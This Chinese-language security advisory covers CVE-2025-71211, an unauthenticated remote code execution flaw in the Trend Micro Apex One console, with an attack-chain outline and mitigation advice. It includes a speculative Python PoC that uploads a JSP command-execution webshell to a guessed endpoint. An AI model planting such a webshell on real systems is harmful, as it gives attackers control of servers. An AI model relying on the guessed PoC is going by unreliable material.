CVE-2025-71211 CVSS 9.8 严重

CVE-2025-71211 Trend Micro Apex One 远程代码执行漏洞

披露日期: 2026-05-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-71211

漏洞类型

远程代码执行

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Trend Micro Apex One

漏洞概述

CVE-2025-71211是Trend Micro Apex One管理控制台中的一个关键安全漏洞。由于该漏洞，远程攻击者能够上传恶意代码并在受影响的系统上执行任意命令。尽管该漏洞的CVSS评分为9.8（严重），但它是通过零日计划（ZDI）负责任地披露的。目前，该产品的SaaS版本已经实施了缓解措施，客户无需采取额外行动。然而，对于本地部署版本，如果攻击者能够访问Trend Micro Apex One管理控制台，则存在极大风险。因此，建议将控制台IP地址暴露在外的客户立即采取防护措施。

技术细节

该漏洞的根源在于Trend Micro Apex One管理控制台对特定接口的输入验证不足。攻击者无需进行身份认证（PR:N），即可通过网络向目标服务器发送特制的恶意请求。漏洞涉及不同的可执行文件，与CVE-2025-71210类似。攻击者利用此漏洞可以绕过安全检查，上传恶意脚本或代码到服务器。一旦上传成功，服务器会解析并执行该代码，导致攻击者获得系统控制权。由于无需用户交互且网络攻击向量复杂度低，此漏洞极易被自动化工具利用，对系统的机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1

侦察

攻击者扫描网络，发现暴露在互联网上的Trend Micro Apex One管理控制台IP地址。

STEP 2

漏洞利用

攻击者向控制台发送特制的HTTP请求，利用文件上传漏洞上传恶意代码，无需身份认证。

STEP 3

代码执行

服务器处理上传的恶意文件，导致攻击者在目标系统上执行任意命令。

STEP 4

建立控制

攻击者获得系统权限，可能窃取数据、安装后门或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Conceptual PoC for CVE-2025-71211
# This script demonstrates a potential file upload exploit.
# Note: The specific endpoint requires further analysis of the specific version.

target_url = "http://target-console-ip:port/proxy_proxy"

# Malicious payload to be uploaded
# In a real scenario, this would be a webshell or executable
files = {
    'file': ('exploit.jsp', '<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>', 'application/octet-stream')
}

try:
    response = requests.post(target_url, files=files, verify=False, timeout=10)
    if response.status_code == 200:
        print("[+] Potential vulnerability detected! File uploaded.")
    else:
        print(f"[-] Upload failed. Status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Trend Micro Apex One (On-Premise)

防御指南

临时缓解措施

对于SaaS版本用户，无需操作。对于本地部署用户，建议立即限制管理控制台的访问权限，确保仅受信任的IP地址可以访问，并尽快应用官方提供的修复补丁以消除风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表